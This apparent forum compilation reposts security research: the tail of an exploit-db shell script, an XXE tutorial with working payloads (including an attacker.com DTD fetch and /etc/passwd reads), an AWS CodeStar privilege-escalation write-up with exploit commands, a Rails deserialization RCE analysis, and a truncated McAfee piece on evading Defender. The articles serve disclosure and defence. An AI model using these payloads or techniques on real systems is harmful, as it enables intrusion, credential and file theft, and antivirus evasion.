magic to happen and spawn our shell echo "Waiting 5 seconds..." sleep 5 nc -v 127.0.0.1 31337 # print help else usage fi Sursa: https://www.exploit-db.com/exploits/46996
  22. Arseniy Sharoglazov Exploiting XXE with local DTD files This little technique can force your blind XXE to output anything you want! Why do we have trouble exploiting XXE in 2k18? Imagine you have an XXE. External entities are supported, but the server’s response is always empty. In this case you have two options: error-based and out-of-band exploitation. Consider this error-based example: Request Response <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd"> %ext; ]> <message></message> java.io.FileNotFoundException: /nonexistent/ root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin (No such file or directory) Contents of ext.dtd <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; See? You are using an external server for payload delivery. What can you do if there is a firewall between you and the target server? Nothing! What if we just put external DTD content directly in the DOCTYPE? Some errors will always appear: Request Response <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ]> <message></message> Internal Error: SAX Parser Error. Detail: The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD. External DTD allows us to include one entity inside the second, but it is prohibited in the internal DTD. What can we do with internal DTD? To use external DTD syntax in the internal DTD subset, you can bruteforce a local dtd file on the target host and redefine some parameter-entity references inside it: Request Response <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY &#x25; file SYSTEM "file:///etc/passwd"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"> &#x25;eval; &#x25;error; <!ELEMENT aa (bb'> %local_dtd; ]> <message>any text</message> java.io.FileNotFoundException: /nonexistent/ root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin (No such file or directory) Contents of sip-app_1_0.dtd … <!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> <!ELEMENT pattern (%condition;)> … It works because all XML entities are constant. If you define two entities with the same name, only the first one will be used. How can we find a local dtd file? Nothing is easier than enumerating files and directories. Below are a few more examples of successful applications of this trick: Custom Linux System <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa 'Your DTD code'> %local_dtd; Custom Windows System <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'> %local_dtd; Thanks to @Mike_n1 from Positive Technologies for sharing this path of always-existing Windows DTD file. Cisco WebEx <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"> <!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'> %local_dtd; Citrix XenMobile Server <!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"> <!ENTITY % Body '>Your DTD code<!ENTITY test "test"'> %local_dtd; Custom Multi-Platform IBM WebSphere Application <!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd"> <!ENTITY % xs-datatypes 'Your DTD code'> <!ENTITY % simpleType "a"> <!ENTITY % restriction "b"> <!ENTITY % boolean "(c)"> <!ENTITY % URIref "CDATA"> <!ENTITY % XPathExpr "CDATA"> <!ENTITY % QName "NMTOKEN"> <!ENTITY % NCName "NMTOKEN"> <!ENTITY % nonNegativeInteger "NMTOKEN"> %local_dtd; Timeline 01/01/2016 — Discovering the technique 12/12/2018 — Writing the article :D 13/12/2018 — Full disclosure 2018 DTD OOB WAF XML XXE Sursa: https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
  23. Escalating AWS IAM Privileges with an Undocumented CodeStar API June 18, 2019 Spencer Gietzen Introduction to AWS IAM Privilege Escalation There are an extensive amount of individual APIs available on AWS, which also means there are many ways to misconfigure permissions to those APIs. These misconfigurations can give attackers the ability to abuse APIs to gain more privileges than what was originally intended by your AWS administrator. We at Rhino Security Labs have demonstrated this in the past with our blog post on 17 different privilege escalation methods in AWS. Most of these privilege escalation methods rely on the IAM service for abuse. An example of this is the “iam:PutUserPolicy” permission that allows a user to create an administrator-level inline policy on themselves, making themselves an administrator. This blog will outline a new method of abuse for privilege escalation within AWS through CodeStar, an undocumented AWS API, as well as two new privilege escalation checks and auto-exploits added to Pacu’s “iam__privesc_scan” module. AWS CodeStar AWS CodeStar is a service that allows you to “quickly develop, build, and deploy applications on AWS”. It integrates a variety of other different AWS services and 3rd party applications (such as Atlassian Jira) to “track progress across your entire software development process”. It is essentially a quick, easy way to get your projects up and running with your team in AWS. CodeStar Undocumented APIs Like many AWS services, CodeStar has some public-facing APIs that are not publicly documented. In most cases, these exist for convenience when browsing AWS through the web console. For example, CodeStar supports the following APIs, but they are not documented in the official AWS documentation: codestar:GetTileData codestar:PutTileData codestar:VerifyServiceRole There are more undocumented APIs than on this list–the other non-listed APIs are typically used by your web browser to display and verify information in the AWS web console. I discovered these undocumented APIs by simply setting up Burp Suite to intercept my HTTP traffic while browsing the AWS web console and seeing what showed up. Here is an example of some requests Burp Suite picked up while browsing CodeStar in the AWS web console: codestar:CreateProjectFromTemplate One of the undocumented APIs that we discovered was the codestar:CreateProjectFromTemplate API. This API was created for the web console to allow you to create sample (templated) projects to try out CodeStar. If you look at the documented APIs for CodeStar, you’ll only see codestar:CreateProject, but this page references project templates as well. As long as the CodeStar service role exists in the target account, this single undocumented API allows us to escalate our privileges in AWS. Because this is an undocumented API and people typically don’t know it exists, it’s likely not granted to any users in AWS directly. This means that although you only need this single permission to escalate privileges, it will likely be granted with a broader set of permissions, such as “codestar:Create*” or “codestar:*” in your IAM permissions. Because those are using the wildcard character “*”, it expands out and includes codestar:CreateProjectFromTemplate. If you needed another reason to stop using wildcards in your IAM policies, this is it. The following AWS-managed IAM policies grant access to codestar:CreateProjectFromTemplate, but there are likely many more customer-managed IAM policies out there that grant it as well. arn:aws:iam::aws:policy/AdministratorAccess (obviously) arn:aws:iam::aws:policy/PowerUserAccess arn:aws:iam::aws:policy/AWSCodeStarFullAccess arn:aws:iam::aws:policy/service-role/AWSCodeStarServiceRole Undocumented CodeStar API to Privilege Escalation The codestar:CreateProjectFromTemplate permission was the only permission needed to create a project from the variety of templates offered in the AWS web console. The trick here is that these templates are “managed” by AWS, so when you choose one to launch, it will use the CodeStar service role to launch the project and not your own permissions. That means that you are essentially instructing the CodeStar service role to act on your behalf, and because that service role likely has more permissions than you do, you can utilize them for malicious activity. As part of these templates, an IAM policy is created in your account named “CodeStarWorker-<project name>-Owner”, where <project name> is the name you give the CodeStar project. The CodeStar service role then attaches that policy to your user because you are the owner of that project. Just by doing that, we have already escalated our permissions, because the “CodeStarWorker-<project name>-Owner” policy grants a lot of access. Most permissions are restricted to the resources that the project created, but some are more general (like a few IAM permissions on your own user). There are also other policies and roles that get created as part of this process–some important and some not–so we’ll touch on those as we go. The above screenshot shows some of the available templates when creating a CodeStar project through the web console. Prior to AWS’s Fix When this vulnerability was originally discovered, the permissions that the “CodeStarWorker-<project name>-Owner” policy granted were slightly different than they are now. Originally, as long as the CodeStar service role existed in the account, an IAM user with only the codestar:CreateProjectFromTemplate permission could escalate their permissions to a full administrator of the AWS account. This was because one of the resources that was created was an IAM role named “CodeStarWorker-<project name>-CloudFormation” and it was used to create a CloudFormation stack to build the project that you chose. It was originally granted full access to 50+ AWS services, including a variety of IAM permissions. A few of the important IAM permissions included: iam:AttachRolePolicy iam:AttachUserPolicy iam:PutRolePolicy If you have read our blog on AWS privilege escalation, then you already know these permissions can be used to quickly escalate a user or role to a full administrator. For a copy of the old policy that was attached to the “CodeStarWorker-<project name>-CloudFormation” IAM role, visit this link. With that unrestricted access to so many services, you could almost certainly compromise most of your target’s resources in AWS, spin up cryptominers, or just delete everything. To use these permissions, we needed to gain access to the “CodeStarWorker-<project name>-CloudFormation” IAM role. This wasn’t difficult because it was already passed to a CloudFormation stack that the “CodeStarWorker-<project name>-Owner” IAM policy granted us access to. This meant we just needed to update the CloudFormation stack and pass in a template that would use the role’s permissions to do something on our behalf. Due to CloudFormation’s limitations, this “something” needed to be an inline policy to make that same CloudFormation role an administrator, then a second UpdateStack call would need to be made to also make your original user an administrator. There were many reasons for this, but essentially it was because you couldn’t instruct CloudFormation to attach an existing managed IAM policy to an existing user. Disclosure and How AWS Fixed the Privilege Escalation We disclosed this vulnerability to AWS Security on March 19th, 2019, and worked with them to resolve the risk of this attack. Over the next few months, multiple fixes were implemented because a few bypasses were discovered the first few times. Those bypasses still allowed for full administrator privilege escalation, even after their initial fixes, but by working with them, we were able to get that resolved. By mid-May 2019, we had the go-ahead that the vulnerability had been remediated. Overall, this vulnerability was fixed by limiting the permissions granted to the “CodeStarWorker-<project name>-Owner” IAM policy and the “CodeStartWorker-<project name>-CloudFormation” IAM role. The role was restricted by requiring the use of an IAM permissions boundary in its IAM permissions, which is effective in preventing privilege escalation to a full administrator. Depending on what other resources/misconfigurations exist in the environment, it might still be possible to escalate to full admin access (through a service such as Lambda or EC2) after exploiting this method. They also introduced another fix, where the AWS web console now uses “codestar:CreateProject” and “iam:PassRole” to create projects from templates, but the “codestar:CreateProjectFromTemplate” API is still publicly accessible and enabled, so it can still be abused for privilege escalation (just to a lesser extent than before). The Attack Vector After the Fix While the AWS CodeStar team was responsive & implemented several fixes, we were still able to identify a way to use the undocumented API for privilege escalation. This wasn’t as severe as before AWS implemented their fixes, but still noteworthy. The new attack path looks like this: Use codestar:CreateProjectFromTemplate to create a new project. You will be granted access to “cloudformation:UpdateStack” on a stack that has the “CodeStarWorker-<project name>-CloudFormation” IAM role passed to it. Use the CloudFormation permissions to update the target stack with a CloudFormation template of your choice. The name of the stack that needs to be updated will be “awscodestar-<project name>-infrastructure” or “awscodestar-<project name>-lambda”, depending on what template is used (in the example exploit script, at least). At this point, you would now have full access to the permissions granted to the CloudFormation IAM role. You won’t be able to get full administrator with this alone; you’ll need other misconfigured resources in the environment to help you do that. Automation and Exploitation with Pacu This privilege escalation method has been integrated into Pacu’s “iam__privesc_scan”, so you can check what users/roles are vulnerable within your account. To check your account for privilege escalation (all 17+ methods we have blogged about, including this one) from a fresh Pacu session, you can run the following commands from the Pacu CLI: 1. import_keys default: Import the “default” profile from the AWS credentials file (~/.aws/credentials) 2. run iam__enum_users_roles_policies_groups --users: Enumerate IAM users 3. run iam__enum_permissions --all-users: Enumerate their permissions 4. run iam__privesc_scan --offline: Check for privilege escalation methods As you can see, two IAM users were found and had their permissions enumerated. One of them was already an administrator, and the other user, “VulnerableUser”, is vulnerable to the “CodeStarCreateProjectFromTemplate” privilege escalation method. Two Bonus Privilege Escalations Added to Pacu With this blog release and Pacu update, we also added two more checks to the “iam__privesc_scan” module, both with auto-exploitation available. The first method is “PassExistingRoleToNewCodeStarProject” which uses “codestar:CreateProject” and “iam:PassRole” to escalate an IAM user or role to a full administrator. The second method is “CodeStarCreateProjectThenAssociateTeamMember” which uses “codestar:CreateProject” and “codestar:AssociateTeamMember” to make an IAM user the owner of a new CodeStar project, which will grant them a new policy with a few extra permissions. Pacu can be found on our GitHub with the latest updates pushed, so we suggest using it to check your own environment for any of these new privilege escalations. CreateProjectFromTemplate Exploit Script This privilege escalation method did not have auto-exploitation integrated into Pacu because it is an undocumented API, and thus unsupported in the “boto3” Python library. Instead, an exploit script was derived from AWS’s guide on manually signing API requests in Python. The standalone exploitation script can be found here. The script has the option of using two different templates, one of which grants more access than the other, but it requires that you know the ID of a VPC, the ID of a subnet in that VPC, and the name of an SSH key pair in the target region. It’s possible to collect some of that information by running the exploit script without that knowledge, then using the escalated permissions to enumerate that information, then re-running the exploit script again with the data you discovered. Using the Script The only permission required to run the script is “codestar:CreateProjectFromTemplate”, but you must be a user (not a role) because of how CodeStar works. Without prior information: you can run the script like this, which will use the default AWS profile: python3 CodeStarPrivEsc.py --profile default With the EC2/VPC information: you can run the script like this: python3 CodeStarPrivEsc.py --profile default --vpc-id vpc-4f1d6h18 --subnet-id subnet-2517b823 --key-pair-name MySSHKey There should be quite a bit of output, but at this point, you will just be waiting for the CloudFormation stacks to spin up in the environment and create all the necessary resources. Right away, you’ll gain some additional privileges through the “CodeStar_<project name>_Owner” IAM policy, but if you wait, additional versions of that policy will be created as other resources in the environment are created. The script will output the AWS CLI command you need to run to view your own user’s permissions, once the privilege escalation has complete. That command will look something like this (pay attention though, because the version ID will change, depending on the template you are using): aws iam get-policy-version --profile default --policy-arn arn:aws:iam::ACCOUNT-ID:policy/CodeStar_PROJECTNAME_Owner --version-id v3 It might take some time for that command to execute successfully while everything gets spun up in the environment, but once it is able to execute successfully, that means the privilege escalation process is complete. Utilizing Your New Permissions You’ll now have all the permissions that the policy you just viewed grants, and as part of that, you are granted the “cloudformation:UpdateStack” permission on a CloudFormation stack that has already had the “CodeStarWorker-<project name>-CloudFormation” IAM role passed to it. That means you can use that role for what you want, without ever needing the “iam:PassRole” permission. The permissions granted to this role should be the same every time (unless they update the template behind the scenes) and you won’t have permission to view them. Without prior information: visit this link to see what the access looks like. With the EC2/VPC information: visit this link to see what the access looks like. The script will also output the command to use to update the CloudFormation stack that you want to target. That command will look like this: aws cloudformation update-stack --profile default --region us-east-1 --stack-name awscodestar-PROJECTNAME-lambda --capabilities "CAPABILITY_NAMED_IAM" --template-body file://PATH-TO-CLOUDFORMATION-TEMPLATE Without prior information: the stack’s name will be “awscodestar-<project name>-lambda” With the EC2/VPC information: the stack’s name will be “awscodestar-<project name>-infrastructure”. Just create a CloudFormation template to create/modify the resources that you want and run that UpdateStack command to take control of the CloudFormation role. Video Example The following video shows a user who is only granted the “codestar:CreateProjectFromTemplate” permission escalating their permissions with the exploit script. The video only shows part 1 of 2 of the full attack-process because the next step depends on what your goal is. After the privilege escalation shown in this video is done, the next step would be to take control of the CloudFormation IAM role and abuse its permissions. The first step of the privilege escalation grants you access to a few things, including control over that CloudFormation role. Then, because the CloudFormation role has more access than you do, you can instruct it to perform an action on your behalf, whatever that may be. Note that around the 1 minute mark we cut out a few minutes of refreshing the browser. It takes time for the resources to deploy and the privilege escalation is not complete until all of them deploy, so there is a bit of waiting required. Defending Against Privilege Escalation through CodeStar There are a few key points to defending against this privilege escalation method in an AWS environment. If you don’t use CodeStar in your environment, ensure that the CodeStar IAM service role is removed from or never created in your account (the default name is “aws-codestar-service-role”). Implement the principle of least-privilege when granting access to your environment. This entails avoiding the use of wildcards in IAM policies where possible so that you can be 100% sure what APIs you are granting your users access to. Do not grant CodeStar permissions to your users unless they require it. Be careful granting CodeStar permissions through wildcards when they do require it, so that users aren’t granted the “codestar:CreateProjectFromTemplate” permission. If a user must be granted “codestar:CreateProject” and “iam:PassRole” (and/or “codestar:AssociateTeamMember”), be sure that sufficient monitoring is in place to detect any privilege escalation attempts. Conclusion The CodeStar undocumented API vulnerability has for the most part been fixed, but it is still a good idea to implement the defense strategies outlined above. This type of vulnerability might not only be limited to CodeStar, though, because there might be other undocumented APIs for other AWS services that are abusable like this one. Many undocumented APIs were discovered in just the short amount of time it took to find this vulnerability. Sometimes these undocumented APIs can be beneficial for attackers, while some might be useless. Either way, it is always useful as an attacker to dig deep and figure out what APIs exist and which ones are abusable. As a defender, it is necessary to keep up with the attackers to defend against unexpected and unknown attack vectors. Following best practice, like not using wildcards when giving permissions, is also a great way to avoid this vulnerability. We’ll be at re:Inforce next week, with two more big releases coming before the event. We’ll also be teaming up with Protego and handing out copies of our AWS pentesting book to the first 50 people each day of the event. Sursa: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/
  24. Remote Code Execution via Ruby on Rails Active Storage Insecure Deserialization June 20, 2019 | Guest Blogger In this excerpt of a Trend Micro Vulnerability Research Service vulnerability report, Sivathmican Sivakumaran and Pengsu Cheng of the Trend Micro Security Research Team detail a recent code execution vulnerability in Ruby on Rails. The bug was originally discovered and reported by the researcher known as ooooooo_q. The following is a portion of their write-up covering CVE-2019-5420, with a few minimal modifications. An insecure deserialization vulnerability has been reported in the ActiveStorage component of Ruby on Rails. This vulnerability is due to deserializing a Ruby object within an HTTP URL using Marshal.load() without sufficient validation. The Vulnerability Rails is an open source web application Model View Controller (MVC) framework written in the Ruby language. Rails is built to encourage software engineering patterns and paradigms such as convention over configuration (CoC), don't repeat yourself (DRY), and the active record pattern. Rails ships as the following individual components: Rails 5.2 also ships with Active Storage, which is the component of interest for this vulnerability. Active Storage is used to store files and associate those files to Active Record. It is compatible with cloud storage services such as Amazon S3, Google Cloud Storage, and Microsoft Azure Storage. Ruby supports serialization of Objects to JSON, YAML or the Marshal serialization format. The Marshal serialization format is implemented by the Marshal class. Objects can be serialized and deserialized via the load() and dump() methods respectively. As shown above, the Marshal serialization format uses a type-length-value representation to serialize objects. Active Storage adds a few routes by default to the Rails application. Of interest to this report are the following two routes which are responsible for downloading and uploading files respectively: An insecure deserialization vulnerability exists in the ActiveStorage component of Ruby on Rails. This component uses ActiveSupport::MessageVerifier to ensure the integrity of the above :encoded_key and :encoded_token variables. In normal use, these variables are generated by MessageVerifier.generate(), and their structure is as follows: <base64-message> contains a base64 encoded version of the following JSON object: When a GET or PUT Request is sent to a URI that contains “/rails/active_storage/disk/”, the :encoded_key and :encoded_token variables are extracted. These variables are expected to be generated by MessageVerifier.generate(), hence decode_verified_key and decode_verified_token call MessageVerifier.verified() to check the integrity of and deserialize . Integrity is checked by calling ActiveSupport::SecurityUtils.secure_compare(digest, generate_digest(data))The digest is generated by signing data with a MessageVerifier secret. For Rails applications in development, this secret is always the application name, which is publicly known. For Rails applications in production, the secret is stored in a credentials.yml.enc file, which is encrypted using a key in the master.key. The contents of these files can be disclosed using CVE-2019-5418. Once the integrity check passes, is base64 decoded and Marshal.load() is called on the resulting byte stream without any further validation. An attacker can exploit this condition by embedding a dangerous object, such as ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy, to achieve remote code execution. CVE-2019-5418 needs to be chained to CVE-2019-5420 to ensure all conditions are met to achieve code execution. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request embedding malicious serialized objects to a vulnerable application. Successful exploitation would result in arbitrary code execution under the security context of the affected Ruby on Rails application. Source Code Walkthrough The following code snippet was taken from Rails version 5.2.1. Comments added by Trend Micro have been highlighted. From activesupport/lib/active_support/message_verifier.rb: From activestorage/app/controllers/active_storage/disk_controller.rb: The Exploit There is a publicly available Metasploit module demonstrating this vulnerability. The following stand-alone Python code may also be used. The usage is simply: python poc.py <host> [<port>] Please note our Python PoC assumes that the application name is "Demo::Application". The Patch This vulnerability received a patch from the vendor in March 2019. In addition to this bug, the patch also provides fixes for CVE-2019-5418, a file content disclosure bug, and CVE-2019-5419, a denial-of-service bug in Action View. If you are not able to immediately apply the patch, this issue can be mitigated by specifying a secret key in development mode. In config/environments/development.rb file, add the following: config.secret_key_base = SecureRandom.hex(64) The only other salient mitigation is to restrict access to the affected ports. Conclusion This bug exists in versions 6.0.0.X and 5.2.X of Rails. Given that this vulnerability received a CVSS v3 score of 9.8, users of Rails should definitely look to upgrade or apply the mitigations soon. Special thanks to Sivathmican Sivakumaran and Pengsu Cheng of the Trend Micro Security Research Team for providing such a thorough analysis of this vulnerability. For an overview of Trend Micro Security Research services please visit http://go.trendmicro.com/tis/. The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the ZDI team for the latest in exploit techniques and security patches. Sursa: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  25. In NTDLL I Trust – Process Reimaging and Endpoint Security Solution Bypass By Eoin Carroll, Cedric Cochin, Steve Povolny and Steve Hearnden on Jun 20, 2019 Process Reimaging Overview The Windows Operating System has inconsistencies in how it determines process image FILE_OBJECT locations, which impacts non-EDR (Endpoint Detection and Response) Endpoint Security Solution’s (such as Microsoft Defender Realtime Protection), ability to detect the correct binaries loaded in malicious processes. This inconsistency has led McAfee’s Advanced Threat Research to develop a new post-exploitation evasion technique we call “Process Reimaging”. This technique is equivalent in impact to Process Hollowing or Process Doppelganging within the Mitre Attack Defense Evasion Category; however, it is , much easier to execute as it requires no code injection. While this bypass has been successfully tested against current versions of Microsoft Windows and Defender, it is highly likely that the bypass will work on any endpoint security vendor or product implementing the APIs discussed below. The Windows Kernel, ntoskrnl.exe, exposes functionality through NTDLL.dll APIs to support User-mode components such as Endpoint Security Solution (ESS) services and processes. One such API is K32GetProcessImageFileName, which allows ESSs to verify a process attribute to determine whether it contains malicious binaries and whether it can be trusted to call into its infrastructure. The Windows Kernel APIs return stale and inconsistent FILE_OBJECT paths, which enable an adversary to bypass Windows operating system process attribute verification. We have developed a proof-of-concept which exploits this FILE_OBJECT location inconsistency by hiding the physical location of a process EXE. The PoC allowed us to persist a malicious process (post exploitation) which does not get detected by Windows Defender. The Process Reimaging technique cannot be detected by Windows Defender until it has a signature for the malicious file and blocks it on disk before process creation or performs a full scan on suspect machine post compromise to detect file on disk. In addition to Process Reimaging Weaponization and Protection recommendations, this blog includes a technical deep dive on reversing the Windows Kernel APIs for process attribute verification and Process Reimaging attack vectors. We use the SynAck Ransomware as a case study to illustrate Process Reimaging impact relative to Process Hollowing and Doppelganging; this illustration does not relate to Windows Defender ability to detect Process Hollowing or Doppelganging but the subverting of trust for process attribute verification. Antivirus Scanner Detection Points When an Antivirus scanner is active on a system, it will protect against infection by detecting running code which contains malicious content, and by detecting a malicious file at write time or load time. The actual sequence for loading an image is as follows: FileCreate – the file is opened to be able to be mapped into memory. Section Create – the file is mapped into memory. Cleanup – the file handle is closed, leaving a kernel object which is used for PAGING_IO. ImageLoad – the file is loaded. CloseFile – the file is closed. If the Antivirus scanner is active at the point of load, it can use any one of the above steps (1,2 and 4) to protect the operating system against malicious code. If the virus scanner is not active when the image is loaded, or it does not contain definitions for the loaded file, it can query the operating system for information about which files make up the process and scan those files. Process Reimaging is a mechanism which circumvents virus scanning at step 4, or when the virus scanner either misses the launch of a process or has inadequate virus definitions at the point of loading. There is currently no documented method to securely identify the underlying file associated with a running process on windows. This is due to Windows’ inability to retrieve the correct image filepath from the NTDLL APIs. This can be shown to evade Defender (MpMsEng.exe/MpEngine.dll) where the file being executed is a “Potentially Unwanted Program” such as mimikatz.exe. If Defender is enabled during the launch of mimikatz, it detects at phase 1 or 2 correctly. If Defender is not enabled, or if the launched program is not recognized by its current signature files, then the file is allowed to launch. Once Defender is enabled, or the signatures are updated to include detection, then Defender uses K32GetProcessImageFileName to identify the underlying file. If the process has been created using our Process Reimaging technique, then the running malware is no longer detected. Therefore, any security service auditing running programs will fail to identify the files associated with the running process. Subverting Trust The Mitre ATT&CK model specifies post-exploitation tactics and techniques used by adversaries, based on real-world observations for Windows, Linux and macOS Endpoints per figure 1 below. Figure 1 – Mitre Enterprise ATT&CK Once an adversary gains code execution on an endpoint, before lateral movement, they will seek to gain persistence, privilege escalation and defense evasion capabilities. They can achieve defense evasion using process manipulation techniques to get code executing in a trusted process. Process manipulation techniques have existed for a long time and evolved from Process Injection to Hollowing and Doppelganging with the objective of impersonating trusted processes. There are other Process manipulation techniques as documented by Mitre ATT&CK and Unprotect Project, but we will focus on Process Hollowing and Process Doppelganging. Process manipulation techniques exploit legitimate features of the Windows Operating System to impersonate trusted process executable binaries and generally require code injection. ESSs place inherent trust in the Windows Operating System for capabilities such as digital signature validation and process attribute verification. As demonstrated by Specter Ops, ESSs’ trust in the Windows Operating system could be subverted for digital signature validation. Similarly, Process Reimaging subverts an ESSs’ trust in the Windows Operating System for process attribute verification. When a process is trusted by an ESS, it is perceived to contain no malicious code and may also be trusted to call into the ESS trusted infrastructure. McAfee ATR uses the Mitre ATT&CK framework to map adversarial techniques, such as defense evasion, with associated campaigns. This insight helps organizations understand adversaries’ behavior and evolution so that they can assess their security posture and respond appropriately to contain and eradicate attacks. McAfee ATR creates and shares Yara rules based on threat analysis to be consumed for protect and detect capabilities. Process Manipulation Techniques (SynAck Ransomware) McAfee Advanced Threat Research analyzed SynAck ransomware in 2018 and discovered it used Process Doppelganging with Process Hollowing as its fallback defense evasion technique. We use this malware to explain the Process Hollowing and Process Doppelganging techniques, so that they can be compared to Process Reimaging based on a real-world observation. Process Manipulation defense evasion techniques continue to evolve. Process Doppelganging was publicly announced in 2017, requiring advancements in ESSs for protection and detection capabilities. Because process manipulation techniques generally exploit legitimate features of the Windows Operating system they can be difficult to defend against if the Antivirus scanner does not block prior to process launch. Process Hollowing “Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis” (see figure 2 below) Figure 2 – SynAck Ransomware Defense Evasion with Process Hollowing Process Doppelganging “Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging’s use of Windows Transactional NTFS (TxF) also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext” (see figure 3 below) Figure 3 – SynAck Ransomware Defense Evasion with Doppleganging Process Reimaging Weaponization The Windows Kernel APIs return stale and inconsistent FILE_OBJECT paths which enable an adversary to bypass windows operating system process attribute verification. This allows an adversary to persist a malicious process (post exploitation) by hiding the physical location of a process EXE (see figure 4 below). Figure 4 – SynAck Ransomware Defense Evasion with Process Reimaging Process Reimaging Technical Deep Dive NtQueryInformationProcess retrieves all process information from EPROCESS structure fields in the kernel and NtQueryVirtualMemory retrieves information from the Virtual Address Descriptors (VADs) field in EPROCESS structure. The EPROCESS structure contains filename and path information at the following fields/offsets (see figure 5 below): +0x3b8 SectionObject (filename and path) +0x448 ImageFilePointer* (filename and path) +0x450 ImageFileName (filename) +0x468 SeAuditProcessCreationInfo (filename and path) * this field is only present in Windows 10 Figure 5 – Code Complexity IDA Graph Displaying NtQueryInformationProcess Filename APIs within NTDLL Kernel API NtQueryInformationProcess is consumed by following the kernelbase/NTDLL APIs: K32GetModuleFileNameEx K32GetProcessImageFileName QueryFullProcessImageImageFileName The VADs hold a pointer to FILE_OBJECT for all mapped images in the process, which contains the filename and filepath (see figure 6 below). Kernel API NtQueryVirtualMemory is consumed by following the kernelbase/NTDLL API: GetMappedFileName Figure 6 – Code Complexity IDA Graph Displaying NtQueryVirtualMemory Filename API within NTDLL Windows fails to update any of the above kernel structure fields when a FILE_OBJECT filepath is modified post-process creation. Windows does update FILE_OBJECT filename changes, for some of the above fields. The VADs reflect any filename change for a loaded image after process creation, but they don’t reflect any rename of the filepath. The EPROCESS fields also fail to reflect any renaming of the process filepath and only the ImageFilePointer field reflects a filename change. As a result, the APIs exported by NtQueryInformationProcess and NtQueryVirtualMemory return incorrect process image file information when called by ESSs or other Applications (see Table 1 below). Table 1 OS/Kernel version and API Matrix Prerequisites for all Attack Vectors Process Reimaging targets the post-exploitation phase, whereby a threat actor has already gained access to the target system. This is the same prerequisite of Process Hollowing or Doppelganging techniques within the Defense Evasion category of the Mitre ATT&CK framework. Process Reimaging Attack Vectors FILE_OBJECT Filepath Changes Simply renaming the filepath of an executing process results in Windows OS returning the incorrect image location information for all APIs (See figure 7 below). This impacts all Windows OS versions at the time of testing. Figure 7 FILE_OBJECT Filepath Changes – Filepath Changes Impact all Windows OS versions FILE_OBJECT Filename Changes Filename Change >= Windows 10 Simply renaming the filename of an executing process results in Windows OS returning the incorrect image information for K32GetProcessImageFileName API (See figure 8.1.1 below). This has been confirmed to impact Windows 10 only. Figure 8.1.1 FILE_OBJECT Filename Changes – Filename Changes impact Windows >= Windows 10 Per figure 8.1.2 below, GetModuleFileNameEx and QueryFullProcessImageImageFileName will get the correct filename changes due to a new EPROCESS field ImageFilePointer at offset 448. The instruction there (mov r12, [rbx+448h]) references the ImageFilePointer from offset 448 into the EPROCESS structure. Figure 8.1.2 NtQueryInformationProcess (Windows 10) – Windows 10 RS1 x64 ntoskrnl version 10.0.14393.0 Filename Change < Windows 10 Simply renaming the filename of an executing process results in Windows OS returning the incorrect image information for K32GetProcessImageFileName, GetModuleFileNameEx and QueryFullProcessImageImageFileName APIs (See figure 8.2.1 below). This has been confirmed to impact Windows 7 and Windows 8. Figure 8.2.1 FILE_OBJECT Filename Changes – Filename Changes Impact Windows < Windows 10 Per Figure8.2.2 below, GetModuleFileNameEx and QueryFullProcessImageImageFileName will get the incorrect filename (PsReferenceProcessFilePointer references EPROCESS offset 0x3b8 SectionObject). Figure 8.2.2 NtQueryInformationProcess (Windows 7 and 😎 – Windows 7 SP1 x64 ntoskrnl version 6.1.7601.17514 LoadLibrary FILE_OBJECT reuse LoadLibrary FILE_OBJECT reuse leverages the fact that when a LoadLibrary or CreateProcess is called after a LoadLibrary and FreeLibrary on an EXE or DLL, the process reuses the existing image FILE_OBJECT in memory from the prior LoadLibrary. Exact Sequence is: LoadLibrary (path\filename) FreeLibrary (path\filename) LoadLibrary (renamed path\filename) or CreateProcess (renamed path\filename) This results in Windows creating a VAD entry in the process at step 3 above, which reuses the same FILE_OBJECT still in process memory, created from step 1 above. The VAD now has incorrect filepath information for the file on disk and therefore the GetMappedFileName API will return the incorrect location on disk for the image in question. The following prerequisites are required to evade detection successfully: The LoadLibrary or CreateProcess must use the exact same file on disk as the initial LoadLibrary Filepath must be renamed (dropping the same file into a newly created path will not 